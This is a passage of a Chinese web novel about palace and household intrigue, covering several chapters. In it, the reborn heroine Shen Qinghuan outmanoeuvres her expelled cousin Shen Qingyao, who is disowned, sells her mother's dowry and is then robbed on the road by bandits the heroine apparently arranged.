“我才不管,我愿意。”沈清欢亲昵的挽着钟灵的手臂:“小婶婶,添妆只是其一,我还有另外的目的。” 钟灵笑道:“要开沈家药局嘛。” “三叔可真嘴快。”沈清欢嘟起嘴:“把我的话都抢走了。” 钟灵拉着沈清欢坐在坐榻上:“开药局是好事,京城里有保宁堂,各地也都,若是沈家药局能开起来,那可以有保宁堂的地方就开药局,天南海北的药草都会汇集在沈家药局,保宁堂倒是多了个仰仗。” 沈清欢苦笑望着钟灵:“小婶婶,我是要早早嫁出去了,这还了得?总觉得我根本没有用武之地,三叔能干,小婶婶更是厉害。” “但,这沈家药局啊,你三叔说的很明白,必须要放在你的名下。”钟灵轻轻地拍着沈清欢的手:“你啊,岁数小,往后的路长着呢,没出嫁的时候多由着娘家人护着些,回头嫁人了,什么事都要操持,那会儿你想要偷懒都不能。” 沈清欢噗嗤笑出声来:“瞅瞅,这还没进门呢,就长辈模样了。” 钟灵脸色微红:“贫嘴,说正经事。” 就在两个人商量如何开沈家药局的时候,一匹快马奔京城而来,马背上的人背着急字火令旗,策马入京城的时候,城门守卫给开路,到兵部翻身下马,整个人都摔倒在地,有人过来搀扶着起身,有人往尚药局去找御医。 兵部尚书马庆荣不到一盏茶工夫入宫。 御书房里,靖安帝脸色一沉:“你说什么?” 马庆荣跪在地上:“漠北庞老将军半月前遇刺身亡,如今军中无主帅。” “死了?”靖安帝眉头紧锁。 马庆荣把奏折交给大太监林有德。 林有德小心翼翼放在靖安帝面前。 打开奏折,从头看到尾,落款写着庞世勋,这是漠北守将庞毅的长子,也是庞家军副帅。 “马爱卿,你怎么看?”靖安帝看马庆荣。 马庆荣恭敬的回道:“皇上,半月前霍家正筹备送女入宫,漠北的守将竟身死,谁不知道庞家乃是霍家的拥趸者,这些年来雁门关和漠北同气连枝,微臣觉得庞毅的死太蹊跷了。” 靖安帝微微眯起眼睛,这确实是自己最想听到的话,这是霍家能杀庞毅?那绝无可能,杀庞毅另有其人,不过这是一个让霍、庞两家反目成仇的好机会。 “那就让京城的庞家准备迎棺椁回京,这次护送棺椁回来的庞开是什么来历?”靖安帝问。 马庆荣回道:“是庞世勋的第十二个义子,听说骁勇善战,是个猛将。” “嗯,退下吧。”靖安帝让马庆荣传自己的口谕往礼部,准备各项事宜。 等马庆荣离开后,司徒珩秘密入宫。 御书房里,靖安帝和司徒珩在下棋。 “庞开回京是试探虚实的,你觉得此人可用吗?”靖安帝问。 司徒珩愕然:“皇兄,我不了解这位啊。” 靖安帝落下一子:“倒也是,漠北这些年来还算太平,少有漠北的人回京,不过庞毅死了,漠北如今该派人去了,沈清樾也该启程了,可沈清樾到底年轻,还需要个老将跟随啊。” 司徒珩随后落下一子:“沈太傅不是要跟着去吗?那就让沈太傅去啊,庞家可以不在乎沈清樾,但沈太傅的份量足够,皇兄,别的老将只怕不会服沈清樾,还会觉得皇上偏信沈家,让一个黄口小儿担此重任,沈太傅可就不一样了,他最是聪慧,如今虽说西凉蠢蠢欲动,可这也不是一两年的事了,没有战事的时候,朝廷实权为重,寻个机会让沈家不再盘踞文臣之首的位子,皇兄就可以大展拳脚了。” 靖安帝笑出声来:“若是沈家知道你如此盘算他们,真不知道会怎么看待这门婚事。” “皇兄最知我心,余下的只需做足了面子功夫就好。”司徒珩说的那叫一个坦荡荡。 靖安帝收了笑意:“沈景谦确实萌生退意了,想必是因上次那份书信的缘故,只不过时机尚不成熟啊。” “那就徐徐图之,人那里有永远不犯错的呢?”司徒珩说的理所当然。 靖安帝心里就舒坦的很,太后悉心栽培的人,确实好用。 当天晚上消息就送到了沈景行这里。 沈景行立刻让人往漠北去查庞毅死因,因不是司徒珩动的手,霍家也不可能,但沈清樾要往漠北去开始为沈家布局,必须要了解漠北情况。 中秋夜。 沈家团圆饭。 沈良辅看着桌子上少了沈景川父子二人,沈老夫人这边则少了邹氏母女四人,虽说邹氏母女咎由自取,可到底是自己看着长大的孩子,难免唏嘘。 沈清欢看出祖母心事,尽可能逗祖母开心,只是不能点明,她可从来不把沈清瑶几个人想起,若真说想到他们了,那也就是自己要动手的时候了,其实在座的所有人,唯有沈清欢恨不得把沈清瑶千刀万剐,因沈家蒙难都是拜他所赐,只不过这一世所有的因果都改变了。 念在祖父祖母慈悲心肠,只要沈清瑶不闹幺蛾子,自己倒是不在乎让他们活着,至于活得好不好,那可是自己的造化了。 与此同时。 庄子上的沈清瑶脸色阴沉的坐在院子里,抬头看着天上的满月,脑子里想着在沈家的热闹,暗暗地发誓一定要回去京城! 沈清婉哪里还有在沈家时候的清丽模样,两只手黑乎乎的从灶房里出来,一脚踢翻了担水用的木桶:“到底是怎么了?外祖家没动静,父亲也不来寻我们,当我们是死了啊?” “明儿,去京城探探消息。”沈清瑶看着沈清婉:“你去还是我去?” 沈清婉打量着沈清瑶,撇嘴儿:“你去吧,我不去,累得慌。” 说完,转身回屋去睡觉了,以前来庄子,她们是主子,伺候的人多得很,如今可倒好,沈清欢那小蹄子早就让人打过招呼了,只是让他们住在这里,哪里是什么主子?反倒那个臭马夫成了户主,这日子可怎么过啊? 邹氏从灶房里走出来,端着粥来到沈清瑶跟前,放在桌子上:“你去京城一趟也行,找到邹家铺子,先取一些银子回来。” “母亲,你觉得我回去沈家一趟,如何?”沈清瑶看着邹氏。 邹氏脸色一白:“你,敢回去吗?” 第59章 在门口闹腾着要吊死呢 阎五是不愿意去京城的。 他现在日子过的别提多舒坦了,有十几亩良田,虽说养了邹氏娘四个废物,可自己可稀罕沈清瑶的身子了,这可是曾经的大小姐呢。 不过,架不住沈清瑶的软磨硬泡,他到底还是套上马车,带着沈清瑶进城了,这一趟不白来,他还带了不少野味儿,卖钱自然好,不卖钱给沈家送去,沈家多少得给自己点儿银子。 天还没亮就走,到京城的时候也快晌午了,阎五看了眼米糊糊还在睡觉的沈清瑶,出声:“婆娘,去哪里?” “先去街边吃点儿馄饨。”沈清瑶说。 阎五脸都黑了:“一碗馄饨要五文钱,喝粥不行吗?” “夫君,你这是要委屈死我?”沈清瑶眼里包了泪花子,就那么看着阎五。 阎五深吸一口气:“行行行,给你吃,给你吃,馋婆娘。” 沈清瑶恨不得弄死这个混账东西!要不是还想回到京城,早就动手了,这次她盘算好了,不管邹家是不是给了接济,她都要回去求祖母,就算祖母不肯答应,自己也要拿些好处回去,不然这日子还怎么过下去? 虽然在京城生,在京城长大,可沈清瑶怎么也没想到一碗馄饨能这么好吃,看阎五坐在马车的车辕子上黑着脸等自己,除了鄙夷还有恨,她比沈清欢差在哪里?差在自己的爹是庶出而已,偏偏所有人都护着她! 被赶走几个月了,在沈家人心里就跟她们死了一样。 就不信团圆家宴的时候,那些人没有一个想起来她们的! “听说药王谷出手救了安王,啧啧啧,到底是沈三爷有本事。”旁边同样吃馄饨的两个男人低声说着话。 沈清瑶立刻支棱起耳朵,她最恨的人就是沈景行,处处针对大房,若不是他推波助澜,怎么会让娘几个落到今天这步田地。 另一个男人啧啧两声:“你以为沈太傅为何让小儿子拜师医道门啊?你瞅瞅沈家如今,嫡小姐嫁给安王,未来的安王妃,沈三爷迎娶药王谷的独生女,背后靠山是什么?说了你也不懂,那是整个江湖!” 沈清瑶猛地站起来,看向说话的人:“你说什么?沈清欢要嫁给司徒珩了是不是?” 两个正在说话的男人被吓一跳,齐齐看过来见是个寻常百姓家打扮的女子,还盘着妇人髻,忍不住撇嘴儿,其中一个男人冷笑着说道:“哎哟哟,你这是发了哪门子疯癫?沈家嫡小姐嫁给安王怎么了?大惊小怪的,跟你有甚关系?” 沈清瑶只觉得浑身气血都在往上冲,直冲的眼前发黑,到底是被算计了!沈清欢口口声声不喜欢司徒珩,竟然是欲擒故纵! 真是好算计,非但把自己踹出去了,连沈清婉一起处理掉,留下个锯掉嘴葫芦似的沈清韵有个屁用?可不就是她一个掌上明珠了嘛! 阎五舍不得五文钱的馄饨,可又不是没有耳朵,冷着脸走过来问:“吃不吃了!不吃就走,少在这里丢人现眼!” 两个男人忍着笑,打量阎五再看沈清瑶,其中一个男人笑着扬声道:“老弟艳福不浅啊,不过你可警醒着点儿,你家婆娘可不像是个安分的。” “两位大哥见笑了。”阎五陪着笑脸,放在桌子上五文钱,扯着沈清瑶就走,他怎么也是个爷们,被人这么说哪里挂得住脸。 沈清瑶看着没吃完的半碗馄饨,缓缓地压下心里的怒火。 她决定立刻回去沈家! 沈家大门口,沈清瑶从马车上下来,来到门口看守门的家丁。 守门的家丁打量着沈清瑶:“谁啊?别在门口乱晃。” “狗眼看人低的东西,我都忍不住,留着两只眼睛作甚?去告诉老夫人,她的长孙女回来了。”沈清瑶挺直了脊背,喝骂道。 家丁瞥了一眼沈清瑶,直接进了门房,认不出来是假的,当初邹氏带着她们闹腾的事历历在目,这会儿还想耀武扬威,瞎了眼的是她! 沈清欢终于把家里的账目看完了,坐在窗口看着外面明亮的阳光洒在花圃上的景儿发呆。 “小姐。”疏影送来小点心和热茶。 沈清欢偏头:“疏影,沈家还挺有家底子的。” 疏影笑了:“小姐,可不能这么说,从老老爷年轻那会儿就是入仕为官,身居要职开始,到老爷也是很早就入仕为官了,现在大公子也是仕途顺畅,三代为官怎么能没点儿家底子。” “不是,是大伯父赚来的。”沈清欢捧起茶盏小口小口喝着茶,沈家的大部分家底都是从商所得,所以邹氏才会心有不甘吧。 下地拿了总账直接去找母亲。 沈夫人可是真忙得脚不沾地,也幸好早就开始准备老三和钟姑娘的婚事了,不然要同时操持嫁、娶两宗婚事,就算有三头六臂也不够。 “阿灼怎么来了?”沈夫人看到女儿抱着账本,笑问:“这是都看完了吗?” 沈清欢给母亲请安后,递过去账本总账:“母亲,我看完账目总觉得心里不舒坦。” “因为觉得委屈了你大伯父?”沈夫人显然明白女儿的心思。 沈清欢点了点头:“是啊,大伯父这些年为沈家立下了汗马功劳,若非沈清瑶留不得,我到不介意给邹氏、沈清婉和沈清舟个庇护。” “阿灼到底还是岁数小了。”沈夫人拉着女儿的手,语重心长的说:“掌管一个家,很难做到一碗水端平,但恩怨分明是最能立得住的,该赏则赏,该罚则罚,如此才能立威,这是对待仆从。” 沈清欢点头。 “但对于府里的主子,不管是父子、兄弟还是子侄,往大了说是一家,往小了说是几家在一起过日子,比如咱们家,你大伯是一家,我们是一家,将来你三叔也是一家,三家人围着你祖父和祖母过日子,天长日久难免各有心思。”沈夫人轻轻地拍着沈清欢的手:“这也是人之常情,谁都不是圣人。” 沈清欢知道自己上一世没学这些,及笄就被充官妓坊,三年都在生死煎熬,哪里会琢磨这些呢? 沈夫人也不着急,轻声说:“小家,夫妻本一体,做事必定是共进退的,大家,也会看顾着让每个小家各司其职,这才能有安生日子过的,你大伯啊,太宠着邹氏和儿女,而邹氏私心太重。” “母亲,其实害沈家的是沈清瑶。”沈清欢小声说。 沈夫人摇头:“是邹氏把孩子教坏了,阿灼啊,我和她都是沈家做媳,她比我早进门一年多,这么多年妯娌相处下来,母亲能看不透吗?” “昨儿家宴,祖母是想她们了。”沈清欢说。 沈夫人端起茶盏抿了口:“阿灼要记住,慈不掌兵义不掌财,你以后进了安王府,执掌中馈是必然,万万不可因小事入心,耽误了大事。” 话音落下,王嬷嬷从外面进来,屈膝给夫人和小姐请安后说:“夫人,沈清瑶突然回来了,闹着要吊死在门口。” 沈夫人看沈清欢,沈清欢苦笑:“母亲,您说的,女儿牢记在心了。” 她心疼的是大伯父,心里那点子难过也是因为大伯父,至于沈清瑶,见一次打一次都嫌少,还敢到门口闹腾!活得不耐烦了! “去,把人带进来,直接送到老夫人院子里。”沈夫人起身:“走吧,咱们娘俩也去你祖母那边。” 第60章 非要如此绝情吗? 沈老夫人正惆怅呢,抬头见二儿媳和阿灼过来了,不用问也知道是得了消息。 “母亲,儿媳做主让人把清瑶带进来了。”沈夫人说着坐在了椅子上。 沈老夫人点了点头:“在门口闹腾确实不好看,丽华啊,虽说是除族了,但毕竟是沈家血脉,若是长教训了就给点儿照拂吧。” 沈清欢坐在母亲身后微微低着头,她突然理解了母亲的话,其实沈家的宽厚真的容易养出来贪心不足的败家子,若是祖母能如母亲所说那般,邹氏进门这些年也早就懂得如何为人处世了,而不是因祖母宽容,邹氏不甘心,教坏了她的孩子。 就凭着祖母这份心思,又怎么不会大房的孙男娣女谋算个好姻缘呢? 沈夫人微微点头:“母亲说的是,昨儿景谦提了一句,说大哥到江南了,写了一封信回来,还说大哥提到了邹氏母子四人,只是我少问了一句,不知道大哥到底是什么意思。” 沈老夫人摇头:“老大走之前来我这里坐了好久,那意思是暂不给休书,不过休妻是早晚的事,沈家到底不能闹腾出来太难看的事,他会先去岳丈那边说清楚的。” “哦,大哥是宽厚的人,那就看看邹氏娘几个是不是真心悔改,母亲放心,若是真心悔改,自会照拂,虽然不会接回府里,但大哥就算不休妻,也可以分府另住。”沈夫人说。 沈老夫人面露喜色,低声:“说起来啊,丽华是给了我和邹氏面子了。” 果不其然,祖母是知道母亲性子的,沈清欢在想,或许祖母知道按照母亲的性子这是不能成的,毕竟当初几次三番的加害,沈清瑶可不单单对自己动手,对沈家也没客气。 若那封信被查出来,沈家到现在还有谁能坐在这里说话?早就是亡魂了。 就算只有自己知道上一世的下场,可母亲也好,沈家的每个人都心里清楚,沈清瑶是要害死所有人的。 沈清瑶一到老夫人的福寿堂,看到孙嬷嬷在门口,哭着跑过去:“嬷嬷,可怜可怜我吧。” 孙嬷嬷叹了口气,伸出手扶着沈清瑶,低声说:“老夫人这些日子总是睡不安稳,大姑娘也别哭嚎,该说什么就说什么。” “是,嬷嬷提点的是。”沈清瑶进门来,抬头看到沈夫人和沈清欢坐在椅子上,穿着华丽的衣裙,面色红润,甚至从她们母女的脸上都看到了喜气洋洋。 是啊,能不喜气洋洋吗?沈清欢要成安王妃了! 想到这里,沈清瑶就恨不得扑上去撕碎了沈清欢。 那一刹那的眼神儿被沈清欢捕捉到了,她突然觉得自己去找母亲有些可笑的,哪怕是因为看在大伯的面子上,想要放过邹氏娘几个,若真由着自己的性子来,真有一天再被沈清瑶害了,都活该! 思及此,沈清欢抬起手扶了扶鬓边的发簪,眼神瞬间倨傲起来,虽说掌家不如母亲,可人心啊,自己活了两世还能白活了不成? 沈清瑶看到沈清欢眼神里的警告,落在她头上的发钗上,那发钗一看就贵重,而她别说发钗了,阎五抠搜的厉害,连一根银簪子都舍不得,只用了木头簪子。 “大姑娘。”沈老夫人看到沈清瑶进门就盯着沈清欢,心里直叹气,这个拎不清的猪脑子啊,总是要争锋,可这有什么用呢? 沈清瑶压住心里的怒意,迈步来到沈老夫人的脚边,跪在地上:“祖母,我本不该空手来,奈何身无分文,昨儿中秋都团圆了,可怜孙女在庄子里整夜整夜睡不着,孙女想您啊。” 沈老夫人叹了口气:“你们到底做错了。” “是错了,不该觊觎高不可攀的人,安王岂能是孙女能肖想的吗?能配得上安王的只能是沈清欢。”沈清瑶凄惨的笑着抬头:“祖母,可是孙女落到今天的下场,不可怜吗?” 这确实是沈老夫人觉得她可怜的地方。 “书房里藏着的书信,不是你做的?私下里去找霍云昭的人,不是你?沈家蒙难,你们母子四人险些把清韵打死,毁了她的脸,你不也都亲眼看到了吗?”沈清欢看着沈清瑶:“你若非听到了我要嫁给司徒珩的风声,怎么会在门口寻死觅活的要见祖母?就连大伯父回来也不见你们露面,不就是赌大伯父会舍不得妻儿,会跟沈家闹翻吗?该拿乔儿的时候拿乔儿,该装可怜的时候装可怜,沈清瑶,祖母心软,你觉得祖父心软吗?就算祖父心软那也是为了大伯父,真以为你们娘几个做的事,还能回到沈家?” 这话,犹如当头棒喝,沈老夫人心底一阵凉意,是啊,自己这是老糊涂了,怎么把这些都忘了呢? “祖母,您宽厚,母亲也宽厚,可我没那么好心,沈家哪个不是在为家里人拼命呢?”沈清欢冷冷的看着沈清瑶:“而你听到了不信啊?没事,我亲自告诉你,我要嫁给司徒珩,婚期九月二十,如今待嫁,不会再有任何更改了。” 沈清瑶眼泪都没掉下来,定定的看着沈清欢,微微偏头:“你就这么容不下我吗?” “因为你这种人,但凡给你点儿机会就会兴风作浪,沈清瑶,你以为你替人做事,害全家就有靠山了吗?你的靠山管你了吗?”沈清欢逼视着沈清瑶。 若是换做以前,沈夫人会训斥沈清欢说话太锋利,今儿沈夫人神色淡淡的,没有任何想要说话的意思,只是看着婆母的脸色,婆母没有不满意,只是有些羞愧,这就好,总不至于糊涂。 沈清瑶抬起手指着沈清欢:“你以为你是个好东西!沈清欢,是你口口声声说不想嫁给安王的,可你嘴上说一套,背地里做一套,如今得偿所愿就耀武扬威了,若非你害我,我能到今天这地步?” “祖母啊。”沈清欢转过头看沈老夫人:“阿灼只是旧事重提,她就装不下去了,这样的心性若是给了好处,后患无穷啊。” 沈清瑶瞪大了眼睛:“你什么意思!” “她的意思是让大家看清楚你的真面目!”沈景行从外面进来,手里拿着一封书信走到沈老夫人跟前:“母亲,这是大哥的书信,您看看。” 沈老夫人出去来书信展开,抬头看沈景行:“这?” “母亲没有看错,大哥让父亲待他休妻,邹氏的娘家那边打过招呼了,娘家那边恰好收了邹氏的书信求救,真相大白后,邹家也觉得丢人现眼,断绝书应该也要送到了。”沈景行说。 沈清瑶连连后退,不敢相信自己听到的这些话。 沈老夫人抬头看着沈清瑶,叹了口气:“你啊,不知悔改,到底是我老了,糊涂了。” 沈清瑶跪在地上:“祖母,祖母不是的,我知道错了,我知道错了。” “丽华啊,邹氏进门的时候嫁妆不薄,我手里也有嫁妆单子,这些还给她们,从此恩断义绝了吧。”沈老夫人看沈夫人。 沈夫人垂首:“是,母亲说的正是儿媳想做的,沈家不会贪图邹氏的那点子嫁妆,早就清点好了,要今儿给吗?” 沈老夫人转过头:“大姑娘,你自己选吧,要你母亲的嫁妆就得替你母亲接了休书,若是不同意,我亲自去庄子上走一遭也好。” 沈清瑶抬头:“非要如此绝情吗?” “还能更绝情,不给你们一分一文,休书也不给,就把你们扔到那边自生自灭。”沈清欢说。 沈清瑶转过头看着沈清欢:“沈清欢,我诅咒你不得好死!休书!嫁妆!都给我!” 第61章 能让她走得这么便宜吗? 沈老夫人直气得脸色铁青,嘴唇颤抖,那点子疼惜的情分像是一只大手,啪啪抽在脸上,生疼啊。 再看儿媳淡漠的表情,她都有些无地自容,若是遇到个脾气厉害的,哪里会让沈清欢一步步逼着沈清瑶露出原形?一开始就会跟自己当面锣对面鼓的把话叫开了。 这是给自己留着面子呢。 “给!”沈老夫人一拍桌子:“心疼你们,是我老糊涂了!以为晚辈犯错,得了教训知错能改,总不能眼看着日子过的捉襟见肘,如今我算是看明白了,你们就是一群拎不清的败家子!” 沈清瑶愣住了,看沈老夫人震怒到五官都扭曲了,再看容色淡然的二房夫人,最终看向了沈清欢,见她冲自己眯了眯眼睛,眼神尽是挑衅,她还有什么不明白的,自己一次次被沈清欢算计,如今算计得自己再也没有了退路,真狠毒啊。 “祖母。”沈清瑶出声。 沈老夫人一摆手:“罢了!我老婆子老糊涂了,担不起你这一声称呼,求到我头上是祖母,背地里指不定骂我老虔婆呢。” “您老息怒,我走就是。”沈清瑶想以退为进。 可奈何,晚了。 沈老夫人怒喝:“少到我跟前闹腾,往后也没这个机会,丽华,让人清点好,全部丢出去。” 沈夫人起身:“母亲息怒,我这就差人把这些嫁妆送出去。” “不行,也要给清韵留一些,毕竟是邹氏所出。”沈老夫人说。 沈清欢垂眸,祖母素来宽厚,对待儿媳和晚辈更是温和慈祥,如今这是气狠了。 沈夫人点头:“那就平分三份,给清韵留一分。” “凭什么?母亲已经和她断绝关系了。”沈清瑶说。 沈老夫人只觉得一股火快把人都烧死了,吩咐人立刻把沈清瑶拖出去,在门外等着。 门外。 阎五往这边张望,心里头是有些担心的,担心沈家再把这些人接回来,那自己可就被打回原形了,也有些憎恶沈清瑶身体不争气,弄出来个孩子,可就稳妥多了。 心里头一肚子算计的时候,沈府大门打开,沈清瑶被两个壮硕的婆子架着扔出来了。 哟呵! 阎五顿时觉得脊梁骨都硬了,坐在马车的车辕上,似笑非笑的打量着沈清瑶。 贵女,都是高攀不起的,唯有不长脑子的贵女,才会把自己作成贱格,沈清瑶就是这样的人。 这一趟还真不白来,以后再想拿着贵女的乔儿,看自己不揍她! 沈清瑶被摔得骨头疼,颤巍巍的爬起来,扭头看到阎五,没敢大呼小叫,而是一瘸一拐的走过来。 “真当自己是个主子呢。”阎五看沈清瑶走到跟前,冷声:“上车,回家。” 家? 沈清瑶只觉得这个字太刺耳了,抬头看沈府的描金匾额,这里本应该是自己的家,不!若不是书房那份密信被掉包了,安王府才是自己的家,而不是那个矮趴趴的几间土房和这个粗鲁的男人。 “等一下,还有东西没拿。”沈清瑶扶着马车,说。 阎五冷嗤一声:“咋的?你的心肝丢里面了啊?” 沈清瑶看着阎五:“给你一百两银子,你离开庄子,爱去哪里去哪里,行不行?” “一百两?”阎五眯起眼睛打量着沈清瑶:“把你卖到楼子里去,这个价都够呛有人要,再说了,我需要个女人传宗接代,你这样的大户人家出身,生出来的孩子应该会很好的,凭啥我离开庄子?” “二百两。”沈清瑶就那么看着阎五。 阎五眼睛都瞪起来了,上一眼下一眼的看着沈清瑶,再看看沈府,刚才明明是被扔出来的,难道沈府答应给银子了? 二百两,自己娶个媳妇都不用二十两,卖屋之地那可就是财主日子啊。 “不行!五百两!不然你就给我一个接一个的生,别忘了,你们娘四个都是我在照顾。”阎五说。 沈清瑶眼神冷了下来:“阎五,贪得无厌死得快。” “这个我倒是信,你贪得无厌虽然没死,可如今这个下场,对你来说比死强不到哪里去。”阎五伸出一只手:“五百两,老子让你这辈子都看不到一根毛。” 沈清瑶没吭声,五百两,换做之前她都不会觉得算什么事儿的,毕竟沈家的财富多数都从大房过,动辄几千上万两,区区五百两能算的了什么呢? 可是现在,别说五百两了,五文钱的一碗馄饨,自己都要央求才行,阎五分明是在敲竹杠。 两个人都不说话,沈府的大门打开了,一箱一箱的东西往外抬,当初邹氏嫁过来的三十六抬嫁妆,包括千工床和夜壶都没少,还有一口棺材。 沈清瑶把心一横,迈步过去挨个箱子打开查看,管家递过来了嫁妆册子,确实拿出来三分之二。 阎五眼睛都直了,沈家竟然还给这么多东西! 虽然穷苦出身,可在沈府日子不短,很快就知道这是邹氏的嫁妆。 他笑嘻嘻的凑过来:“婆娘,这些玩意儿不好带回去,沈府不给出几挂车吗?” “卖,就在这里全卖掉!”沈清瑶把金银细软都分出来,让阎五搬到马车上,她就坐在马车上,让阎五去找典当行过来,全部都换成银子。 典当行来人看过,沈府门前争争讲讲,很快就围了不少人,这热闹在京城里可不多见,毕竟谁家还不要个脸面呢? 就算是和离,嫁妆也是悄悄带走的,哪里会闹腾的如此难看。 沈老夫人得了消息,气得让人把步秋找来,自己真怕被活活气死。 “祖母,这可不能生气,沈清瑶这么做,以为是糟践了沈府的脸面,殊不知这是她自己把事摆在所有人面前,以后再想闹腾都没机会了。”沈清欢给沈老夫人顺着气,说。 沈老夫人长叹一声:“造孽了,阿灼啊,你是早就看透了她们啊。” “祖母也不是没看透,只是祖母疼惜晚辈。”沈清欢说:“她今儿登门,若不质问我为何嫁了安王,倒也不会闹腾这么难看,我不看别人也得看祖母这份良苦用心呢。” 沈老夫人看着沈清欢,摇头:“祖母到底是老了,阿灼啊,你往后日子长着呢,可得长记性,别学祖母拎不清。” 沈清欢软言慰语,哄着沈老夫人,步秋来给开了安神的方子,用了之后总算睡着了。 “外面怎么样了?”沈清欢回到听风苑,问郑嬷嬷。 郑嬷嬷回道:“已经都变卖成现银,走了。” 沈清欢勾了勾唇角,走了?真以为自己能让她走得这么便宜吗? 第62章 我知道了,是三叔让你来害我的 这么多银子! 阎五赶车的时候,脑子里不停的出现这句话,简直犹如魔音贯耳。 回头看抱着小匣子,神色凝重的沈清瑶,只觉得自己可能没有出头之日了,甚至后悔刚才跟沈清瑶说了那些狠话。 如果能拿银子远走高飞,那可比跟这些人搅混在一起好多了! 正心里乱七八糟的盘算着,突然尖利的哨声响起,阎五抬头看过去,就见两边林子里走出来十多个人,为首的人一脸络腮胡子,看着大弯刀,大刺刺的挡在马车前头,抬起手举着刀,指着阎五:“爷缺钱了,你们发了横财,借点儿钱花花。” 沈清瑶眼珠子都要冒出来了,这可是天子脚下,哪里来的劫匪? 阎五赶紧跳下马车,作揖:“各位好汉,我们家婆娘胆子小,那也不是什么横财,是变卖了所有家当的养命钱,家里还有老母要养,还有弟弟和妹妹未曾长大成人,好汉行行好,高抬贵手,小人给你们磕头了。” “滚一边去。”络腮胡子一脚踹开了阎五,呼啦啦一起上,这些人把马车围住了。 阎五抱着头趁机滚到了旁边的草沟里,三魂七魄都要吓掉了,闭着眼假装自己死了。 “你们干什么!”沈清瑶颤巍巍的喊道。 络腮胡子嘿嘿一笑:“劫财,沈府大小姐,虽然是个庶出,可庶出好啊,庶出经商银子多,来来来,把银子都交出来,爷立刻带人走,若是不交出来,我嫌弃你残花败柳,我这些兄弟们可不嫌弃,钱要,人也别走了。” 沈清瑶哪里见过这样的阵仗,吓得不知道往哪里逃才好,再找阎五,哪里有阎五的影子? 可这些银票是保命钱,她还指望着用这些银子翻身,怎么倒霉成这样,喝一口凉水都塞牙呢? 颤巍巍的问:“给你们一百两行不行?” “哈哈哈,兄弟们,她问我们行不行?一百两,你们说行不行啊?”络腮胡子哈哈大笑起来。 他手底下这些人也都笑得前仰后合的。 “五、五百两。”沈清瑶伸出一只手,颤巍巍的说。 那大刀瞬间就到了沈清瑶的脖子上了,甚至络腮胡子还轻轻地蹭了一下,沈清瑶顿时尖叫出声,抬起手捂着脖子,感觉到黏腻的感觉,她、她受伤了。 “别废话,都交出来,你可以滚了。”络腮胡子恶狠狠的说:“若不然,杀人越货,我的兄弟们最擅长的就是这个,不杀你,那也是看在沈太傅的面子上,别不识抬举。” 沈清瑶哪里肯? 死死地抱着匣子,眼珠子乱转准备逃走。 大刀再次被论起来,沈清瑶尖叫着看到那络腮胡子一下子砍断了车辕,只觉得眼前发黑,咬着舌尖才没昏过去,跪在马车上给络腮胡子磕头:“求求您放过我吧,给我留一些回家养活母亲和年幼的弟弟、妹妹,您行善积德了。” “老子哪里有行善积德的心?”络腮胡子伸出手:“交出来!” 沈清瑶哭得满脸眼泪:“给我留点儿。” “拿来吧,你!”络腮胡子直接从沈清瑶手里抢下来装着银票的匣子,一转手扔给了自己的兄弟,回头抡起大砍刀就被沈清瑶的脖子去了。 沈清瑶身子一软,人就昏死过去了。 络腮胡子上前试了试鼻息:“还以为吓死了呢。” 从匣子里取出来五百两银票,走到草沟这边,一只脚踩在阎五的手上,阎五疼得惨叫,也装不下去了,睁开眼睛看着络腮胡子,以为他要杀人灭口。 络腮胡子蹲下来:“你竟是个忘本的混账东西,当初给你机会时候,你答应的话倒是忘了。” 阎五瞪大了眼睛:“你们是、你们是?” “是个屁啊。”络腮胡子踢了阎五一脚,五百两银票扔在地上:“这些是给你的,但你得让她们遭遭罪,再看不住她们,进京城里闹腾,下次就没这么幸运了。” 阎五后背都麻了,他猜到了,这是四小姐安排的,老天爷啊,自己可真是倒霉的好运道。 络腮胡子直接带着人离开了。 阎五收好了银票,躺在草沟里,等着吧,等沈清瑶苏醒过来再说。 沈清瑶猛地睁开眼睛,银子都没了,马车也换了,低头看自己的衣服倒是完整的。 “阎五!阎五!”沈清瑶亲眼看到阎五被一脚踹出去好远,下了马车往草沟这边来。 看到阎五躺在草沟里不知死活,停下脚步的她眼神都是阴狠,看到旁边有一个头那么大的石头,走过去费了很大力气把石头抱起来,来到阎五跟前,犹豫都没犹豫,举起来就要砸。 “婆娘。”阎五睁开眼睛,就地滚出去好远。 那石头落在地上,刚好是他脑袋的位置,若不是自己躲得快,这会儿脑袋都被砸碎了。 “你想要杀我?”阎五恶狠狠的看着沈清瑶,起身过去抓着她的头发,左右开弓十几个嘴巴抽完,沈清瑶又昏死过去了。 阎五拍了拍手,要不是四小姐不准自己离开,自己现在就想远走高飞。 找了软草编绳子,车辕用草绳一层层捆上,至少还能将就着用。 回头看倒地不起的沈清瑶,走过去把人抱起来扔到马车上,牵着马车往回走,一路上好几次摸自己怀里的银票,这可是五百两! 刚刚还后悔没有答应沈清瑶的条件,白白错失了发横财的机会,这横财竟已经到手了。 只是,自己啥时候能离开这些人? 不离开是不能动这笔钱的。 马车晃晃悠悠回到了庄子,阎五看马车上的沈清瑶,冷声:“别装死,到家了,你记住了,我弄死你大不了去沈府走一遭,沈府宽宏大量都不会报官,你死了也白死。” 沈清瑶睁开眼睛看着阎五似:“我知道了,是三叔让你来害我的。” “可闭上你的猪脑子吧。”阎五冷声:“下车!” 沈清瑶不敢不下车,刚才阎五打自己的时候,她感觉到阎五是真想要打死自己,她不想死。 下了马车,沈清瑶看阎五:“是司徒珩,对不对?” “猪脑子。”阎五牵着马车走了,村子里有个老木匠,修车是小事,自己要让老木匠给自己打一个最结实的匣子,把银子藏起来。 沈清瑶失魂落魄的进门,邹氏抬头吓了一跳,问:“你是谁?” “娘,是我啊,清瑶啊。”沈清瑶看邹氏那害怕的样子,抬起手摸了摸脸,疼得呲牙瞪眼的,一张嘴,哇一声就哭出来了。 第63章 盯着点儿,必定是沈清舟! 邹氏跑过去拉着沈清瑶:“到底咋了?” “娘,全没了,全没了啊。”沈清瑶哽咽着把事情说了一遍,邹氏听完直接坐在地上,半天才拍着大腿哭嚎起来。 沈清婉和沈清舟躲在一旁,两个人知道连母亲最后的嫁妆也没了后,无一例外狐疑的看着沈清瑶,他们不信!这里到京城可不远,怎么就有劫匪了? 从来没听说过劫匪出没,怎么就她得了银子,劫匪就给她抢干净了? 等沈清瑶扶着泣不成声的邹氏进屋,娘俩抱在一起嚎啕大哭的时候,沈清舟走到阎五跟前,上一眼下一眼打量阎五。 阎五脸色一沉:“看我作甚?我能活着回来就不易了。” 沈清舟没敢继续问,转身去找沈清婉。 “三姐,可能是真的。”沈清舟说。 